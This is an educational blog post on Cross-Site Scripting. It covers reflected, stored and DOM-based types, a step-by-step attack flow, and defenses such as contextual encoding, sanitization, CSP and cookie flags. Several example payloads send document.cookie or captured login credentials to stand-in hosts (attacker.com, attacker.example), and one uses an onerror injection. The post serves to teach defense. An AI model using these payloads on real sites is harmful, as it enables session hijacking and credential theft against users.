Cross-Site Scripting — XSS for short — is one of those vulnerabilities that looks innocent on the surface (a little script tag here, a user input there) but quietly hands attackers the keys to a user’s browser. In this blog I’ll explain, in plain human terms, what XSS is, how it works, the common flavors, real-world attack steps, payload examples, why it’s so dangerous, how to find it, and how to defend against it. Short paragraphs, concrete examples, and practical fixes — that’s the promise.
The core idea — what XSS really is
At its simplest, XSS happens when an application displays data that came from an untrusted source (a user, a third-party feed, a URL param) back to other users without making the content safe first. If that data can include HTML or JavaScript, an attacker can make the victim’s browser run code the attacker wrote.
Browsers execute JavaScript. That’s a powerful feature for building interactive apps, but it’s also a vector. If an attacker succeeds in getting a victim’s browser to run attacker-supplied JavaScript inside the context of your site, the attacker can do a lot: steal cookies, capture keystrokes, perform actions on behalf of the victim, redirect them, show fake UI, or even persist further malware.
XSS is not a server-side code injection like SQLi. It’s a browser-side problem caused by the mixing of data (user input) and code (HTML/JS) without proper separation.
Why developers accidentally create XSS
Developers often trust user input unintentionally. They show a username, comment, or search query back on a page. They paste HTML into templates, or they set innerHTML in client code. Without sanitization and proper encoding, that trust turns into an attack surface.
Modern frameworks help, but mistakes still happen: custom rendering logic, third-party widgets, rich text editors, dynamic DOM manipulation, and unsafe libraries all create opportunities. The simplest risky pattern is: take something from the user → write it back into the page as HTML → done.
The three main flavors of XSS (short and practical)
Security folk usually categorize XSS into three types. Each has different mechanics and defenses.
1) Reflected XSS (a.k.a. non-persistent)
This happens when the server includes user input in a page response immediately — for example, an error message or a search results page that echoes the query. The attack commonly uses a crafted link. The attacker sends the victim a URL that contains malicious JavaScript inside a parameter; when the victim clicks it, the server reflects that parameter into the HTML and the script runs.
Example flow:
- Attacker crafts:
https://example.com/search?q=<script>steal()</script>
- Victim clicks it.
- Server responds with a page that includes
q
unsafely in the HTML. - Browser executes
steal()
in the site’s origin.
Often used in phishing: the link looks legitimate but contains a payload.
2) Stored XSS (persistent)
Here the malicious payload is stored on the server — in a database, comment, forum post, profile field, etc. Any user viewing the affected content will execute the payload. This is more dangerous because the attacker doesn’t need to trick every victim into clicking a crafted URL; they just plant the payload once.
Example flow:
- Attacker posts a comment:
<script>sendCookiesTo('attacker.com')</script>
- Comment is saved and later rendered to other users without sanitization.
- Every viewer’s browser runs the script.
3) DOM-based XSS (client-side)
This occurs entirely in the browser when client-side JavaScript uses untrusted data to modify the DOM in an unsafe way. The server may not be involved at all. For example, a script reads location.hash
or location.search
and uses it with innerHTML
or eval()
.
Example flow:
- Page JavaScript reads
window.location.hash
. - It writes that value into the page using
element.innerHTML = hash
. - If the hash contains
</script><script>...
, the injected script executes.
How a real attack looks — step by step
Let’s walk through a simple, concrete reflected XSS attack to make it feel real.
- Recon and find an echo point. The attacker discovers that
https://example.com/welcome?name=...
showsname
on the page: “Welcome, [name]!” and the value is not escaped. - Craft a payload. The attacker constructs
?name=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
. - Build a phishing URL. The attacker shortens the link or hides it in a button in an email.
- Victim clicks the URL. The HTTP request reaches example.com with the malicious
name
parameter. - Server reflects the input. The server returns a page with the
name
inserted into HTML. - Browser executes the injected script. The script runs under
example.com
origin. - Attacker receives data. The script sends cookies, tokens, or other sensitive data to
attacker.com
.
After that, the attacker might use stolen cookies to impersonate the user, perform actions, or chain further exploits.
Payload types and attacker goals
Attackers usually have one or more goals. The payload they use depends on the goal.
- Session theft / account takeover. Payloads read
document.cookie
and send it to the attacker. If the app stores session IDs in cookies and the cookie isn’t markedHttpOnly
, this can allow account hijacking. - Credential harvesting. Show a fake login form and capture credentials typed by the user.
- CSRF chaining. Use the victim’s authenticated state to perform actions (post content, change settings, transfer funds).
- Keylogging / data exfiltration. Capture keystrokes or form data on sensitive pages.
- Drive-by malware. Replace parts of the page with a script that redirects to exploit kits (less common now).
- Pivoting / persistence. Write a persistent backdoor in a user profile or store malicious content in other parts of the app.
Example payloads (educational)
Here are simple demonstration payloads. Never use them against systems you don’t own or have permission to test.
Steal cookies (if cookies are accessible):
<script>
new Image().src = "https://attacker.example/collect?c=" + encodeURIComponent(document.cookie);
</script>
Fake login UI:
<script>
var f = document.createElement('form');
f.action = 'https://attacker.example/submit';
f.method = 'POST';
f.innerHTML = '<input name="user"><input name="pass">';
document.body.innerHTML = '<h1>Session expired — please login</h1>';
document.body.appendChild(f);
</script>
Simple DOM payload via location.hash:
// vulnerable code in page:
document.querySelector('#content').innerHTML = location.hash.substring(1);
// attack URL: https://example.com/page#<img src=x onerror=alert(1)>
These show how tiny pieces of code can cause big trouble.
Why HttpOnly and SameSite aren’t a full fix
Marking cookies HttpOnly
prevents JavaScript from reading them, which mitigates some XSS impacts (e.g., stealing session cookies via document.cookie
). But it does not stop scripts from performing actions using the victim’s authentication (since browsers still send cookies with requests). So an attacker can still perform transactions or change account state if the app is vulnerable.
SameSite
cookie attributes and CSRF protections help reduce certain attack vectors but are complementary defenses — not replacements for proper XSS mitigation.
The attacker’s toolbox: how they find XSS
Attackers (and security testers) use several techniques:
- Fuzzing and automated scanners. Tools that inject payloads into many inputs and look for reflected/returned scripts.
- Manual testing. Looking for places inputs are echoed: search boxes, profile fields, error messages, file names, admin tools.
- DOM inspection. Using browser DevTools to see where client-side scripts use
innerHTML
,document.write
,eval
,setTimeout(string)
, ornew Function(...)
. - Payload mutation. Trying different encodings: HTML entities, URL encoding, CSS injection, event handlers like
onerror
. - Third-party content. Widgets and plugins are checked because they sometimes introduce XSS in your origin.
Good pentesters combine tools and manual intuition to find blind spots.
Why XSS remains common
There are several human and technical reasons:
- Complex rendering logic. Modern apps mix server and client templates, APIs, single-page apps, and third-party widgets — it’s easy to miss an unescaped output.
- Rich text / HTML editors. Allowing HTML in posts invites risk if sanitization is insufficient.
- Legacy code. Old codebases use outdated libraries or patterns like
innerHTML = input
. - Performance or UX shortcuts. Developers sometimes bypass safe APIs to get UI working quickly.
- Lack of security awareness. Developers may not fully understand how contexts differ (HTML vs attribute vs JS vs URL vs CSS) and how encoding should vary by context.
Context matters — encoding vs sanitization vs escaping
A foundational principle: treat untrusted input as data, not code. How you make it safe depends on context.
- Output encoding / escaping is the primary defense. Encode special characters so the browser treats them as data. The exact encoding depends on where you’re inserting the data:
- HTML body: escape
<
,>
,&
,"
and'
. - HTML attribute: additionally escape quotes; prefer using single/double consistently.
- JavaScript context: JSON-encode or use safe template bindings; don’t directly inject into inline scripts.
- URL context: use
encodeURIComponent
. - CSS context: escape according to CSS rules.
- HTML body: escape
- Sanitization means removing or transforming dangerous constructs, often used for rich text (allow some tags but strip scripts). Libraries like DOMPurify (client-side) and established server-side sanitizers can help. But sanitization is hard and must be maintained.
- Validation is about ensuring input meets expectations (e.g., numeric, email). Validation alone is not enough; it should be combined with output encoding.
- Use safe APIs. For example, when updating DOM, prefer
textContent
orinnerText
overinnerHTML
unless you explicitly sanitize the HTML.
Secure patterns for different platforms
- Server-side templating frameworks (Django, Rails, Express with template engines): most provide automatic escaping in templates. Use built-in template variables (not raw HTML), and only mark content as safe when you’re absolutely sure.
- Client-side frameworks (React, Vue, Angular): React escapes strings inserted into JSX by default — avoid
dangerouslySetInnerHTML
unless necessary and sanitize inputs. Vue’s templating also escapes by default (usev-html
carefully). Angular has built-in sanitization when using specific bindings. - APIs / JSON endpoints: Don’t assume clients will render safely. API responses should be data-only and clients should handle rendering with proper escaping.
- Rich text editors: Use a sanitizer to strip scripts and dangerous attributes. Prefer to store sanitized HTML or a structured safe format (e.g., markdown transformed to sanitized HTML on the server).
Content Security Policy (CSP) — strong second line of defense
CSP is a browser mechanism that restricts which sources can provide scripts, styles, images, etc. A well-configured CSP can block inline scripts, remote scripts from unauthorized domains, and more.
Benefits:
- Prevents many injected inline script attacks if you disallow
unsafe-inline
. - Allows whitelisting trusted script sources.
- Nonces (short, per-request tokens) let you permit specific inline scripts safely.
Limitations:
- Older browsers may ignore CSP.
- Misconfiguration (whitelisting too much) reduces effectiveness.
- CSP complements but does not replace output encoding and secure coding.
Other practical defenses
- HttpOnly cookies. Prevent JS from reading cookies. Helps against cookie theft.
- SameSite cookies. Reduce CSRF risk; helps contain some attack chains.
- Escape late. Encode output as close to the final rendering context as possible.
- Avoid inline JavaScript and CSS. Inline code is hard to protect with CSP unless you use nonces properly.
- Use modern frameworks properly. Understand and apply default escaping. Avoid raw insertion helpers unless sanitized.
- Sanitize uploads and filenames. Even file names shown on pages must be escaped.
- Least privilege for third-party scripts. Treat any third-party script as untrusted — it runs in your origin.
- Regular dependency updates. Vulnerable libraries sometimes allow XSS bypasses.
- WAFs and runtime protections. Web Application Firewalls can block common payloads but can’t be the only defense.
Testing for XSS (ethical guidance)
If you’re testing your own systems or running a permitted pentest:
- Start with automated scanners, but always follow up manually.
- Test all input vectors: forms, headers, cookie values, file names, JSON endpoints.
- Test different contexts: HTML body, attributes, scripts, CSS, URLs, event handlers.
- Inspect DOM for dynamic insertion points where client code writes unsafely.
- Use browser DevTools to manipulate page JS and simulate payloads.
- When reporting, provide reproducible steps, payload, affected users, and potential impact.
If you discover XSS in someone else’s app, follow responsible disclosure procedures — don’t exploit it.
Common developer pitfalls (short list)
- Using
innerHTML
orouterHTML
with untrusted input. - Calling
eval()
on strings or usingsetTimeout(string)
. - Trusting client-side sanitization only — always re-sanitize on the server if stored.
- Allowing user-submitted HTML without a strict sanitizer.
- Relying solely on WAFs or CSP as the only defense.
- Forgetting to escape contents inside attributes, inline scripts, URLs, or CSS.
Realistic impact scenarios
A single XSS vulnerability in a popular web app can lead to:
- Mass account hijacking. If attackers can steal session data or perform actions, they can take over many accounts.
- Monetary loss. Combined with CSRF-like actions, attackers might transfer funds or alter payment settings.
- Brand damage and user mistrust. Users shown fake login screens or redirected to scams will lose trust.
- Data leaks. Sensitive information from a user’s session or profile can be exfiltrated.
- Supply-chain attacks. Compromise a site with many users and inject malicious scripts delivered to all users (e.g., advertising networks).
Putting it all together — a defense checklist
For devs and security teams, this checklist helps reduce XSS risk:
- Use automatic escaping in templates. Don’t disable it.
- Escape output according to context. HTML, attribute, JS, URL, CSS all differ.
- Avoid
innerHTML
andeval
. Use safe alternatives. - Sanitize rich text with trusted libraries. Keep allowlists minimal.
- Mark cookies HttpOnly & SameSite.
- Use CSP with nonces and a strict policy. Monitor CSP violations.
- Audit third-party scripts and limit their privileges.
- Run SAST/DAST and manual pentests regularly.
- Educate developers about contexts and encoding rules.
- Keep dependencies updated.
Troubleshooting common XSS scenarios
- If user input is required to include HTML (e.g., blog editor): store a safe representation (Markdown or sanitized HTML). Use server-side sanitization with a maintained library. Restrict allowed tags and attributes. Disallow
on*
event attributes andjavascript:
URLs. - If a widget needs to render user HTML client-side: sanitize on both server and client. Prefer server-side sanitization so the stored data is safe across all renderers.
- If you need dynamic HTML insertion: prefer
createElement
and settextContent
. If you must insert HTML, sanitize it first.
Final thoughts — XSS as a mindset
Fixing XSS isn’t a one-time task. It’s a mindset: treat every piece of data that crosses boundaries as potentially hostile. Think in terms of contextual output encoding rather than ad hoc filtering. Use modern frameworks correctly, apply defense-in-depth (escape, sanitize, CSP, secure cookies), and make security part of the development lifecycle.
XSS is deceptively simple to explain but deceptively tricky in real apps with many moving parts. With careful design and consistent practices, you can dramatically reduce risk. If you’re building or maintaining a web app, prioritize output encoding and adopt a strict Content Security Policy — your users and your future self will thank you.